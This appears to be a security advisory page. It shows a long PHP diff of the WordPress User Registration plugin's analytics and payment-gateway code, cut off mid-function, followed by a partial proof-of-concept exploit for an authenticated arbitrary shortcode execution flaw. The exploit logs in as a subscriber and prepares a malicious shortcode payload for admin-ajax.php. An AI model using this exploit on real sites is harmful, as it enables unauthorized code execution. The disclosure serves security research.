+			for ( $i = $start_date; $i <= $end_date; $i += $incrementor ) {
+				$date_keys[] = wp_date( $date_format, $i );
+			}
+		} elseif ( 'month' === $unit ) {
+			$current_date = new DateTime();
+			$current_date->setTimestamp( $start_date );
+			$end_date_obj = new DateTime();
+			$end_date_obj->setTimestamp( $end_date );
+			$end_date_obj->setTime( 23, 59, 59 );
+			$current_date->modify( 'first day of this month' );
+			$current_date->setTime( 0, 0, 0 );
+
+			while ( $current_date <= $end_date_obj ) {
+				$date_keys[] = $current_date->format( 'Y-m' );
+				$current_date->modify( '+1 month' );
+			}
+		} elseif ( 'year' === $unit ) {
+			$current_date = new DateTime();
+			$current_date->setTimestamp( $start_date );
+			$end_date_obj = new DateTime();
+			$end_date_obj->setTimestamp( $end_date );
+			$end_date_obj->setTime( 23, 59, 59 );
+			$current_date->modify( 'first day of January this year' );
+			$current_date->setTime( 0, 0, 0 );
+
+			while ( $current_date <= $end_date_obj ) {
+				$date_keys[] = $current_date->format( 'Y' );
+				$current_date->modify( '+1 year' );
+			}
+		} elseif ( 'week' === $unit ) {
+			$current_date = new DateTime();
+			$current_date->setTimestamp( $start_date );
+			$end_date_obj = new DateTime();
+			$end_date_obj->setTimestamp( $end_date );
+			$end_date_obj->setTime( 23, 59, 59 );
+			$day_of_week    = (int) $current_date->format( 'w' );
+			$days_to_monday = ( $day_of_week === 0 ? 6 : $day_of_week - 1 );
+			$current_date->modify( "-{$days_to_monday} days" );
+			$current_date->setTime( 0, 0, 0 );
+
+			while ( $current_date <= $end_date_obj ) {
+				$date_keys[] = $current_date->format( 'Y-m-d' );
+				$current_date->modify( '+1 week' );
+			}
+		} else {
+			$date_format = 'Y-m-d';
+			$incrementor = DAY_IN_SECONDS;
+			for ( $i = $start_date; $i <= $end_date; $i += $incrementor ) {
+				$date_keys[] = wp_date( $date_format, $i );
+			}
+		}
+
+		return $date_keys;
+	}
+
+	/**
+	 * @param array $date_keys
+	 * @param mixed $default_value
+	 * @return array
+	 */
+	protected function initialize_data_structure( $date_keys, $default_value ) {
+		$data = [];
+		foreach ( $date_keys as $key ) {
+			$data[ $key ] = $default_value;
+		}
+		return $data;
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @return array
+	 */
+	public function initialize_daily_data_structure( $start_date, $end_date, $unit = 'day' ) {
+		$date_keys = $this->generate_date_keys( $start_date, $end_date, $unit );
+
+		$default_value = [
+			'total_revenue'        => 0,
+			'paid_revenue'         => 0,
+			'refunded_revenue'     => 0,
+			'completed_orders'     => 0,
+			'refunded_orders'      => 0,
+			'new_payments_revenue' => 0,
+			'single_item_revenue'  => 0,
+			'average_order_value'  => 0,
+		];
+
+		return $this->initialize_data_structure( $date_keys, $default_value );
+	}
+
+	/**
+	 * @param int $start_date
+	 * @param int $end_date
+	 * @param string $unit
+	 * @param string $scope 'all'|'membership'|'others'
+	 * @param int|null $membership
+	 * @return array
+	 */
+	public function get_revenue_date_range_data( $start_date, $end_date, $unit = 'day', $scope = 'all', $membership = null ) {
+		global $wpdb;
+		$orders_table = ( new TableList() )->orders_table();
+		$daily_data   = $this->initialize_daily_data_structure( $start_date, $end_date, $unit );
+
+		$include_single_items = ( 'others' === $scope || 'all' === $scope );
+
+		$single_item_revenue = [];
+		if ( $include_single_items ) {
+			$single_item_revenue = $this->get_single_item_revenue_data( $start_date, $end_date, $unit );
+		}
+
+		if ( 'others' === $scope ) {
+			$total_single_item_revenue = 0;
+			foreach ( $single_item_revenue as $time_key => $data ) {
+				$single_item_amount = $data['single_item_revenue'] ?? 0;
+				if ( isset( $daily_data[ $time_key ] ) ) {
+					$daily_data[ $time_key ]['total_revenue']        = $single_item_amount;
+					$daily_data[ $time_key ]['new_payments_revenue'] = $single_item_amount;
+					$daily_data[ $time_key ]['single_item_revenue']  = $single_item_amount;
+					$total_single_item_revenue                      += $single_item_amount;
+				}
+			}
+
+			return [
+				'total_revenue'        => $total_single_item_revenue,
+				'net_revenue'          => $total_single_item_revenue,
+				'refunded_revenue'     => 0,
+				'total_orders'         => 0,
+				'total_refunds'        => 0,
+				'new_payments_revenue' => $total_single_item_revenue,
+				'single_item_revenue'  => $total_single_item_revenue,
+				'average_order_value'  => 0,
+				'daily_data'           => $daily_data,
+			];
+		}
+
+		if ( ! $this->table_exists( $orders_table ) ) {
+			if ( $include_single_items ) {
+				$total_single_item_revenue = 0;
+				foreach ( $single_item_revenue as $time_key => $data ) {
+					$single_item_amount = $data['single_item_revenue'] ?? 0;
+					if ( isset( $daily_data[ $time_key ] ) ) {
+						$daily_data[ $time_key ]['total_revenue']        = $single_item_amount;
+						$daily_data[ $time_key ]['new_payments_revenue'] = $single_item_amount;
+						$daily_data[ $time_key ]['single_item_revenue']  = $single_item_amount;
+						$total_single_item_revenue                      += $single_item_amount;
+					}
+				}
+
+				return [
+					'total_revenue'        => $total_single_item_revenue,
+					'net_revenue'          => $total_single_item_revenue,
+					'refunded_revenue'     => 0,
+					'total_orders'         => 0,
+					'total_refunds'        => 0,
+					'new_payments_revenue' => $total_single_item_revenue,
+					'single_item_revenue'  => $total_single_item_revenue,
+					'average_order_value'  => 0,
+					'daily_data'           => $daily_data,
+				];
+			}
+
+			return [
+				'total_revenue'        => 0,
+				'net_revenue'          => 0,
+				'refunded_revenue'     => 0,
+				'total_orders'         => 0,
+				'total_refunds'        => 0,
+				'new_payments_revenue' => 0,
+				'single_item_revenue'  => 0,
+				'average_order_value'  => 0,
+				'daily_data'           => $daily_data,
+			];
+		}
+
+		$membership   = ( 'membership' === $scope && null !== $membership ) ? absint( $membership ) : null;
+		$group_by_map = [
+			'hour'  => "DATE_FORMAT(created_at, '%Y-%m-%d %H')",
+			'day'   => 'DATE(created_at)',
+			'week'  => 'DATE(DATE_SUB(created_at, INTERVAL WEEKDAY(created_at) DAY))',
+			'month' => "DATE_FORMAT(created_at, '%Y-%m')",
+			'year'  => "DATE_FORMAT(created_at, '%Y')",
+		];
+
+		$group_by       = $group_by_map[ $unit ] ?? $group_by_map['day'];
+		$start_date_str = wp_date( 'Y-m-d H:i:s', $start_date );
+		$end_date_str   = wp_date( 'Y-m-d H:i:s', $end_date );
+
+		$daily_data = $this->initialize_daily_data_structure( $start_date, $end_date, $unit );
+
+		$membership_filter = '';
+		$query_params      = [ $start_date_str, $end_date_str ];
+		if ( ! empty( $membership ) ) {
+			$membership_filter = ' AND item_id = %d';
+			$query_params[]    = absint( $membership );
+		}
+
+		$results = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT
+					{$group_by} AS time_key,
+					COALESCE(SUM(CASE WHEN status = 'completed' THEN total_amount ELSE 0 END), 0) AS total_revenue,
+					COALESCE(SUM(CASE WHEN status = 'completed' AND order_type = 'paid' THEN total_amount ELSE 0 END), 0) AS paid_revenue,
+					COALESCE(SUM(CASE WHEN status = 'refunded' THEN total_amount ELSE 0 END), 0) AS refunded_revenue,
+					COUNT(CASE WHEN status = 'completed' THEN 1 END) AS completed_orders,
+					COUNT(CASE WHEN status = 'refunded' THEN 1 END) AS refunded_orders
+				FROM {$orders_table}
+				WHERE created_at BETWEEN %s AND %s {$membership_filter}
+				GROUP BY time_key
+				ORDER BY time_key",
+				...$query_params
+			)
+		);
+
+		foreach ( $results as $row ) {
+			$time_key             = $row->time_key;
+			$paid_revenue         = (float) $row->paid_revenue;
+			$completed_orders     = (int) $row->completed_orders;
+			$new_payments_revenue = $paid_revenue;
+			$average_order_value  = $completed_orders > 0 ? ( (float) $row->total_revenue ) / $completed_orders : 0;
+
+			if ( isset( $daily_data[ $time_key ] ) ) {
+				$daily_data[ $time_key ] = [
+					'total_revenue'        => (float) $row->total_revenue,
+					'paid_revenue'         => $paid_revenue,
+					'refunded_revenue'     => (float) $row->refunded_revenue,
+					'completed_orders'     => $completed_orders,
+					'refunded_orders'      => (int) $row->refunded_orders,
+					'new_payments_revenue' => $new_payments_revenue,
+					'average_order_value'  => $average_order_value,
+					'single_item_revenue'  => 0,
+				];
+			}
+		}
+
+		if ( $include_single_items ) {
+			foreach ( $single_item_revenue as $time_key => $data ) {
+				$single_item_amount = $data['single_item_revenue'] ?? 0;
+
+				if ( isset( $daily_data[ $time_key ] ) ) {
+					$daily_data[ $time_key ]['single_item_revenue']   = $single_item_amount;
+					$daily_data[ $time_key ]['total_revenue']        += $single_item_amount;
+					$daily_data[ $time_key ]['new_payments_revenue'] += $single_item_amount;
+
+					$orders = $daily_data[ $time_key ]['completed_orders'];
+					if ( $orders > 0 ) {
+						$daily_data[ $time_key ]['average_order_value'] = $daily_data[ $time_key ]['total_revenue'] / $orders;
+					}
+				}
+			}
+		}
+
+		$total_revenue              = array_sum( array_column( $daily_data, 'total_revenue' ) );
+		$total_refunded             = array_sum( array_column( $daily_data, 'refunded_revenue' ) );
+		$net_revenue                = $total_revenue - $total_refunded;
+		$total_orders               = array_sum( array_column( $daily_data, 'completed_orders' ) );
+		$total_refunds              = array_sum( array_column( $daily_data, 'refunded_orders' ) );
+		$total_new_payments_revenue = array_sum( array_column( $daily_data, 'new_payments_revenue' ) );
+		$total_single_item_revenue  = array_sum( array_column( $daily_data, 'single_item_revenue' ) );
+		$total_average_order_value  = $total_orders > 0 ? $total_revenue / $total_orders : 0;
+
+		return [
+			'total_revenue'        => $total_revenue,
+			'net_revenue'          => $net_revenue,
+			'refunded_revenue'     => $total_refunded,
+			'total_orders'         => $total_orders,
+			'total_refunds'        => $total_refunds,
+			'new_payments_revenue' => $total_new_payments_revenue,
+			'single_item_revenue'  => $total_single_item_revenue,
+			'average_order_value'  => $total_average_order_value,
+			'daily_data'           => $daily_data,
+		];
+	}
+
+	public function get_single_item_revenue_data( $start_date, $end_date, $unit = 'day' ) {
+		/** @var wpdb $wpdb */
+		global $wpdb;
+
+		$daily_data = $this->initialize_daily_data_structure( $start_date, $end_date, $unit );
+
+		$invoices = array_unique(
+			$wpdb->get_col(
+				$wpdb->prepare(
+					"SELECT meta_value FROM {$wpdb->usermeta} WHERE meta_key = %s",
+					'ur_payment_invoices'
+				)
+			)
+		);
+
+		$format_map = [
+			'hour'  => 'Y-m-d H',
+			'day'   => 'Y-m-d',
+			'week'  => 'Y-m-d',
+			'month' => 'Y-m',
+			'year'  => 'Y',
+		];
+
+		$format = $format_map[ $unit ] ?? $format_map['day'];
+
+		foreach ( $invoices as $invoice ) {
+			$invoice_data = maybe_unserialize( $invoice, true );
+			if ( ! is_array( $invoice_data ) || ! isset( $invoice_data[0] ) || ! is_array( $invoice_data[0] ) ) {
+				continue;
+			}
+			$invoice_data = $invoice_data[0];
+
+			if ( ! isset( $invoice_data['invoice_date'], $invoice_data['invoice_amount'], $invoice_data['invoice_status'] ) ) {
+				continue;
+			}
+
+			if ( 'completed' !== $invoice_data['invoice_status'] ) {
+				continue;
+			}
+
+			$date              = new DateTime( $invoice_data['invoice_date'] );
+			$invoice_timestamp = $date->getTimestamp();
+
+			if ( $invoice_timestamp < $start_date || $invoice_timestamp > $end_date ) {
+				continue;
+			}
+
+			if ( 'week' === $unit ) {
+				$date->modify( '-' . ( (int) $date->format( 'N' ) - 1 ) . ' days' );
+			}
+
+			$time_key = $date->format( $format );
+			$amount   = (float) $invoice_data['invoice_amount'];
+
+			if ( isset( $daily_data[ $time_key ] ) ) {
+				$daily_data[ $time_key ]['single_item_revenue'] = ( $daily_data[ $time_key ]['single_item_revenue'] ?? 0 ) + $amount;
+			}
+		}
+
+		return $daily_data;
+	}
+}
--- a/user-registration/includes/Analytics/Services/MembershipService.php
+++ b/user-registration/includes/Analytics/Services/MembershipService.php
@@ -0,0 +1,28 @@
+<?php
+
+namespace WPEverestURMAnalyticsServices;
+
+defined( 'ABSPATH' ) || exit;
+
+class MembershipService {
+
+	public function get_memberships_list() {
+		$memberships = get_posts(
+			[
+				'post_type'      => 'ur_membership',
+				'post_status'    => 'publish',
+				'posts_per_page' => -1,
+			]
+		);
+
+		return array_map(
+			function ( $membership ) {
+				return [
+					'id'   => $membership->ID,
+					'name' => $membership->post_title,
+				];
+			},
+			$memberships
+		);
+	}
+}
--- a/user-registration/includes/Analytics/Traits/DateUtils.php
+++ b/user-registration/includes/Analytics/Traits/DateUtils.php
@@ -0,0 +1,95 @@
+<?php
+
+namespace WPEverestURMAnalyticsTraits;
+
+defined( 'ABSPATH' ) || exit;
+
+trait DateUtils {
+
+	/**
+	 * @param int $timestamp
+	 * @param string $unit
+	 * @return string
+	 */
+	protected function get_date_key_for_timestamp( $timestamp, $unit = 'day' ) {
+		if ( 'hour' === $unit ) {
+			return wp_date( 'Y-m-d H', $timestamp );
+		} elseif ( 'month' === $unit ) {
+			return wp_date( 'Y-m', $timestamp );
+		} elseif ( 'year' === $unit ) {
+			return wp_date( 'Y', $timestamp );
+		} elseif ( 'week' === $unit ) {
+			return $this->get_week_monday_key( $timestamp );
+		} else {
+			return wp_date( 'Y-m-d', $timestamp );
+		}
+	}
+
+	/**
+	 * @param int $timestamp
+	 * @return string
+	 */
+	protected function get_week_monday_key( $timestamp ) {
+		$date = new DateTime();
+		$date->setTimestamp( $timestamp );
+
+		$day_of_week    = (int) $date->format( 'w' );
+		$days_to_monday = ( $day_of_week === 0 ? 6 : $day_of_week - 1 );
+
+		if ( $days_to_monday > 0 ) {
+			$date->modify( "-{$days_to_monday} days" );
+		}
+
+		return $date->format( 'Y-m-d' );
+	}
+
+	/**
+	 * @param int $timestamp
+	 * @param string $unit
+	 * @param bool $is_end_date
+	 * @return DateTime
+	 */
+	protected function create_aligned_datetime( $timestamp, $unit, $is_end_date = false ) {
+		$date = new DateTime();
+		$date->setTimestamp( $timestamp );
+
+		if ( $is_end_date && in_array( $unit, [ 'week', 'month', 'year' ], true ) ) {
+			$date->setTime( 23, 59, 59 );
+		} else {
+			$date->setTime( 0, 0, 0 );
+		}
+
+		switch ( $unit ) {
+			case 'week':
+				$day_of_week    = (int) $date->format( 'w' );
+				$days_to_monday = ( $day_of_week === 0 ? 6 : $day_of_week - 1 );
+				if ( $days_to_monday > 0 && ! $is_end_date ) {
+					$date->modify( "-{$days_to_monday} days" );
+					$date->setTime( 0, 0, 0 );
+				}
+				break;
+			case 'month':
+				if ( ! $is_end_date ) {
+					$date->modify( 'first day of this month' );
+					$date->setTime( 0, 0, 0 );
+				}
+				break;
+			case 'year':
+				if ( ! $is_end_date ) {
+					$date->modify( 'first day of January this year' );
+					$date->setTime( 0, 0, 0 );
+				}
+				break;
+		}
+
+		return $date;
+	}
+
+	/**
+	 * @param int|null $timestamp
+	 * @return string
+	 */
+	protected function timestamp_to_sql_datetime( $timestamp ) {
+		return wp_date( 'Y-m-d H:i:s', $timestamp );
+	}
+}
--- a/user-registration/includes/Functions/CoreFunctions.php
+++ b/user-registration/includes/Functions/CoreFunctions.php
@@ -370,6 +370,7 @@
 		$symbol                  = $currencies[ $currency ]['symbol'];
 		$new_mem                 = array();
 		$active_payment_gateways = array();
+		$is_new_installation = ur_string_to_bool( get_option( 'urm_is_new_installation', '' ) );

 		foreach ( $memberships as $k => $membership ) {

@@ -379,7 +380,7 @@
 			$amount                = ! empty( $membership['meta_value']['amount'] ) ? number_format( (float) $membership['meta_value']['amount'], 2 ) : 0;
 			$symbol_pos            = isset( $currencies[ $currency ]['symbol_pos'] ) ? $currencies[ $currency ]['symbol_pos'] : 'left';
 			$membership_cur_amount = ! empty( $amount ) ? ( 'right' === $symbol_pos ? $amount . $symbol : $symbol . $amount ) : '';
-			$duration_label = '';
+			$duration_label        = '';
 			if ( ! empty( $membership['meta_value']['subscription']['duration'] ) ) {
 				$duration_key    = isset( $membership['meta_value']['subscription']['duration'] ) ? strtolower( $membership['meta_value']['subscription']['duration'] ) : '';
 				$duration_labels = array(
@@ -398,14 +399,25 @@
 				'amount'            => ! empty( $membership_meta_value ) ? $membership['meta_value']['amount'] : 0,
 				'currency_symbol'   => $symbol,
 				'calculated_amount' => 'free' === $membership_type ? 0 : ( ! empty( $membership_meta_value ) ? round( $membership_meta_value['amount'] ) : 0 ),
-				'period'            => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : ( ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] ) ? $membership_cur_amount . ' / ' . number_format( $membership['meta_value']['subscription']['value'] ) . ' ' . ucfirst( $duration_label ) . ( $membership['meta_value']['subscription']['value'] > 1 ? 's' : '' ) : $membership_cur_amount ),
+				'period'            => 'free' === $membership_type ? __( 'Free', 'user-registration' ) : ( ( ! empty( $membership_meta_value ) && 'subscription' === $membership_meta_value['type'] ) ? $membership_cur_amount . ' / ' . number_format( $membership['meta_value']['subscription']['value'] ) . ' ' . ucfirst( $duration_label ) . ( $membership['meta_value']['subscription']['value'] > 1 ? __( 's', 'user-registration' ) : '' ) : $membership_cur_amount ),
 			);
+
 			if ( isset( $membership['meta_value']['payment_gateways'] ) ) {
+
 				foreach ( $membership['meta_value']['payment_gateways'] as $key => $gateways ) {
-					if ( 'on' !== $gateways['status'] ) {
-						continue;
+
+					if ( $is_new_installation ) {
+						if ( ! urm_is_payment_gateway_configured( $key ) ) {
+							continue;
+						}
+						$active_payment_gateways[ $key ] = true;
+					} else {
+						if ( isset( $gateways['status'] ) && 'on' !== $gateways['status'] ) {
+							continue;
+						}
+						$active_payment_gateways[ $key ] = isset($gateways['status']) ? $gateways['status'] : 'off'; //setting users gateway to off for now if no status received.
 					}
-					$active_payment_gateways[ $key ] = $gateways['status'];
+
 				}

 				$new_mem[ $k ]['active_payment_gateways'] = ( wp_unslash( wp_json_encode( $active_payment_gateways ) ) );
@@ -413,6 +425,31 @@
 			$active_payment_gateways = array();
 		}

+		// Sort memberships by saved order if available
+		$saved_order = get_option( 'ur_membership_order', array() );
+		if ( ! empty( $saved_order ) && ! empty( $new_mem ) ) {
+			$order_map = array_flip( $saved_order );
+
+			$ordered_memberships   = array();
+			$unordered_memberships = array();
+
+			foreach ( $new_mem as $membership ) {
+				$membership_id = isset( $membership['ID'] ) ? (int) $membership['ID'] : 0;
+				if ( isset( $order_map[ $membership_id ] ) ) {
+					$ordered_memberships[ $order_map[ $membership_id ] ] = $membership;
+				} else {
+					// Membership is not in saved order, append at end
+					$unordered_memberships[] = $membership;
+				}
+			}
+
+			ksort( $ordered_memberships );
+
+			// Merge ordered and unordered memberships
+			$new_mem = array_values( $ordered_memberships );
+			$new_mem = array_merge( $new_mem, $unordered_memberships );
+		}
+
 		return $new_mem;
 	}
 }
@@ -429,21 +466,21 @@
 				'label'  => __( 'Memberships', 'user-registration' ),
 				'url'    => admin_url( 'admin.php?page=user-registration-membership' ),
 				'active' => isset( $_GET['page'] ) &&
-							$_GET['page'] === 'user-registration-membership' &&
-							( isset( $_GET['action'] ) ? ! in_array(
-								$_GET['action'],
-								array(
-									'list_groups',
-									'add_groups',
-								)
-							) : true ),
+				            $_GET['page'] === 'user-registration-membership' &&
+				            ( isset( $_GET['action'] ) ? ! in_array(
+					            $_GET['action'],
+					            array(
+						            'list_groups',
+						            'add_groups',
+					            )
+				            ) : true ),
 			),
 			'membership_groups' => array(
 				'label'  => __( 'Membership Groups', 'user-registration' ),
 				'url'    => admin_url( 'admin.php?page=user-registration-membership&action=list_groups' ),
 				'active' => isset( $_GET['page'], $_GET['action'] ) &&
-							$_GET['page'] === 'user-registration-membership' &&
-							in_array( $_GET['action'], array( 'list_groups', 'add_groups' ) ),
+				            $_GET['page'] === 'user-registration-membership' &&
+				            in_array( $_GET['action'], array( 'list_groups', 'add_groups' ) ),
 			),
 			'members'           => array(
 				'label'  => __( 'Members', 'user-registration' ),
@@ -557,3 +594,476 @@
 		return $targetDate->format( 'Y-m-d 00:00:00' );
 	}
 }
+
+if ( ! function_exists( 'urm_get_plan_description' ) ) {
+	/**
+	 * Get plan description based on type and period.
+	 *
+	 * @param string $plan_type Plan type.
+	 * @param string $plan_period Plan period.
+	 *
+	 * @return string
+	 */
+	function urm_get_plan_description( $plan_type, $plan_period ) {
+		if ( 'free' === $plan_type ) {
+			return __( 'Completely Free', 'user-registration' );
+		}
+
+		$period_lower = strtolower( $plan_period );
+		if ( false !== strpos( $period_lower, 'month' ) ) {
+			return __( 'This will be billed every month', 'user-registration' );
+		}
+
+		if ( false !== strpos( $period_lower, 'lifetime' ) ) {
+			return __( 'This is a one-time payment', 'user-registration' );
+		}
+
+		return '';
+	}
+}
+
+if ( ! function_exists( 'urm_get_gateway_image_url' ) ) {
+	/**
+	 * Get payment gateway image URL.
+	 *
+	 * @param string $gateway_key Gateway key.
+	 * @param array $gateway_images Gateway images mapping.
+	 * @param string $plugin_url Plugin URL.
+	 *
+	 * @return string
+	 */
+	function urm_get_gateway_image_url( $gateway_key, $gateway_images, $plugin_url ) {
+		$image_file = isset( $gateway_images[ $gateway_key ] ) ? $gateway_images[ $gateway_key ] : '';
+
+		if ( empty( $image_file ) ) {
+			return '';
+		}
+
+		return esc_url( $plugin_url . '/assets/images/settings-icons/membership-field/' . $image_file );
+	}
+}
+
+if ( ! function_exists( 'urm_get_active_gateways_for_plan' ) ) {
+	/**
+	 * Parse active payment gateways from membership option.
+	 *
+	 * @param array $option Membership option data.
+	 * @param array $payment_gateways Available payment gateways.
+	 *
+	 * @return array
+	 */
+	function urm_get_active_gateways_for_plan( $option, $payment_gateways ) {
+		$active_gateways = array();
+
+		if ( empty( $option['active_payment_gateways'] ) ) {
+			return $active_gateways;
+		}
+
+		$gateways_json = is_string( $option['active_payment_gateways'] )
+			? json_decode( $option['active_payment_gateways'], true )
+			: $option['active_payment_gateways'];
+
+		if ( ! is_array( $gateways_json ) ) {
+			return $active_gateways;
+		}
+
+		foreach ( $gateways_json as $gateway => $status ) {
+			if ( 'on' === $status && isset( $payment_gateways[ $gateway ] ) ) {
+				$active_gateways[ $gateway ] = $payment_gateways[ $gateway ];
+			}
+		}
+
+		return $active_gateways;
+	}
+}
+
+if ( ! function_exists( 'urm_get_all_active_payment_gateways' ) ) {
+	/**
+	 * Get all payment gateways that are configured/setup.
+	 *
+	 * @param string $membership_type Optional. The membership type ('paid' or 'subscription')
+	 *
+	 * @return array
+	 */
+	function urm_get_all_active_payment_gateways( $membership_type = 'paid' ) {
+		// Get all available payment gateways.
+		$payment_gateways = get_option(
+			'ur_membership_payment_gateways',
+			array(
+				'paypal' => __( 'PayPal', 'user-registration' ),
+				'stripe' => __( 'Stripe', 'user-registration' ),
+				'bank'   => __( 'Bank', 'user-registration' ),
+			)
+		);
+
+		if ( empty( $payment_gateways ) || ! is_array( $payment_gateways ) ) {
+			return array();
+		}
+
+		$active_gateways = array();
+
+		foreach ( $payment_gateways as $gateway_key => $gateway_label ) {
+			// Check if payment gateway is configured.
+			if ( urm_is_payment_gateway_configured( $gateway_key, $membership_type ) ) {
+				$active_gateways[ $gateway_key ] = $gateway_label;
+			}
+		}
+
+		/**
+		 * Filters the list of active payment gateways.
+		 *
+		 * @param array $active_gateways Active payment gateways.
+		 * @param string $membership_type Membership type.
+		 *
+		 * @return array
+		 */
+		return apply_filters( 'urm_active_payment_gateways', $active_gateways, $membership_type );
+	}
+}
+
+if ( ! function_exists( 'urm_is_payment_gateway_configured' ) ) {
+	/**
+	 * Check if a payment gateway is configured (has settings).
+	 *
+	 * This function checks if a payment gateway has the required settings configured,
+	 * without validating if they are correct or complete.
+	 *
+	 * @param string $gateway_key Payment gateway key (e.g., 'paypal', 'stripe', 'bank').
+	 * @param string $membership_type Optional. Membership type for PayPal check. Default 'paid'.
+	 *
+	 * @return bool True if gateway is configured, false otherwise.
+	 */
+	function urm_is_payment_gateway_configured( $gateway_key, $membership_type = 'paid' ) {
+		$is_configured = false;
+		$is_new_installation = ur_string_to_bool( get_option( 'urm_is_new_installation', '' ) );
+
+		// First check if the gateway is enabled
+		$enabled_option = '';
+		switch ( $gateway_key ) {
+			case 'paypal':
+				$enabled_option = get_option( 'user_registration_paypal_enabled', '' );
+				break;
+			case 'stripe':
+				$enabled_option = get_option( 'user_registration_stripe_enabled', '' );
+				break;
+			case 'authorize':
+				$enabled_option = get_option( 'user_registration_authorize-net_enabled', '' );
+				break;
+			case 'mollie':
+				$enabled_option = get_option( 'user_registration_mollie_enabled', '' );
+				break;
+			case 'bank':
+				$enabled_option = get_option( 'user_registration_bank_enabled', '' );
+				break;
+		}
+
+
+		if ( empty( $enabled_option ) ) {
+			$is_enabled = ! $is_new_installation;
+		} else {
+			$is_enabled = ur_string_to_bool( $enabled_option );
+		}
+
+		if ( ! $is_enabled ) {
+			return false;
+		}
+
+		switch ( $gateway_key ) {
+			case 'paypal':
+				$mode = get_option('user_registration_global_paypal_mode', 'test') == "test" ? 'test' : 'live';
+				$paypal_email = get_option(sprintf('user_registration_global_paypal_%s_email_address', $mode), get_option('user_registration_global_paypal_email_address'));
+
+				if ('subscription' === $membership_type) {
+					$paypal_client_id = get_option(sprintf('user_registration_global_paypal_%s_client_id', $mode), get_option('user_registration_global_paypal_client_id'));
+					$paypal_client_secret = get_option(sprintf('user_registration_global_paypal_%s_client_secret', $mode), get_option('user_registration_global_paypal_client_secret'));
+					$is_configured = !empty($paypal_email) && !empty($paypal_client_id) && !empty($paypal_client_secret);
+				} else {
+					$is_configured = !empty($paypal_email);
+				}
+				break;
+
+			case 'stripe':
+				$mode            = get_option( 'user_registration_stripe_test_mode', false ) ? 'test' : 'live';
+				$publishable_key = get_option( sprintf( 'user_registration_stripe_%s_publishable_key', $mode ) );
+				$secret_key      = get_option( sprintf( 'user_registration_stripe_%s_secret_key', $mode ) );
+				$is_configured   = ! empty( $publishable_key ) && ! empty( $secret_key );
+				break;
+			case 'bank':
+				// For bank and other gateways, check if bank details are configured.
+				$bank_details  = get_option( 'user_registration_global_bank_details' );
+				$is_configured = ! empty( $bank_details );
+				break;
+			case 'default':
+				break;
+		}
+
+		/**
+		 * Filters whether the payment gateway is configured.
+		 *
+		 * @param bool $is_configured Whether the gateway is configured.
+		 * @param string $gateway_key Payment gateway key.
+		 * @param string $membership_type Membership type.
+		 *
+		 * @return bool
+		 */
+		return apply_filters( 'urm_is_payment_gateway_configured', $is_configured, $gateway_key, $membership_type );
+	}
+}
+
+if ( ! function_exists( 'urcr_build_migration_actions' ) ) {
+	/**
+	 * Build migration actions array.
+	 *
+	 * @param string $migration_source Migration source type ('membership' or 'content').
+	 * @param int $timestamp Optional timestamp to use for action IDs. If not provided, generates a new one.
+	 *
+	 * @return array Actions array.
+	 */
+	function urcr_build_migration_actions( $migration_source = 'content', $timestamp = null ) {
+		if ( null === $timestamp ) {
+			$timestamp = time() * 1000;
+		}
+
+		if ( $migration_source === 'membership' ) {
+			$message = '';
+		} else {
+			$default_message = '<h3>' . __( 'Membership Required', 'user-registration' ) . '</h3>
+<p>' . __( 'This content is available to members only.', 'user-registration' ) . '</p>
+<p>' . __( 'Sign up to unlock access or log in if you already have an account.', 'user-registration' ) . '</p>
+<p>{{sign_up}} {{log_in}}</p>';
+			$message         = get_option( 'user_registration_content_restriction_message', $default_message );
+
+			if ( ! empty( $message ) ) {
+				$message = wp_unslash( $message );
+				$message = str_replace( array( '\n', '\r\n', '\r' ), array( "n", "n", "n" ), $message );
+				$message = str_replace( array( "rn", "r" ), "n", $message );
+	

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24353 - User Registration <= 4.4.9 - Authenticated (Subscriber+) Arbitrary Shortcode Execution

<?php
/**
 * Proof of Concept for CVE-2026-24353
 * Requires valid WordPress subscriber credentials
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Execute login
$response = curl_exec($ch);

// Check if login succeeded by looking for dashboard elements
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Malicious shortcode payload - example using a custom shortcode that executes PHP
// Replace with actual shortcode available on target system
$malicious_shortcode = '[custom_shortcode action="execute_php"]<?php echo "VULNERABLE"; ?>[/custom_shortcode]';

// Prepare exploit request to admin-ajax.php
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
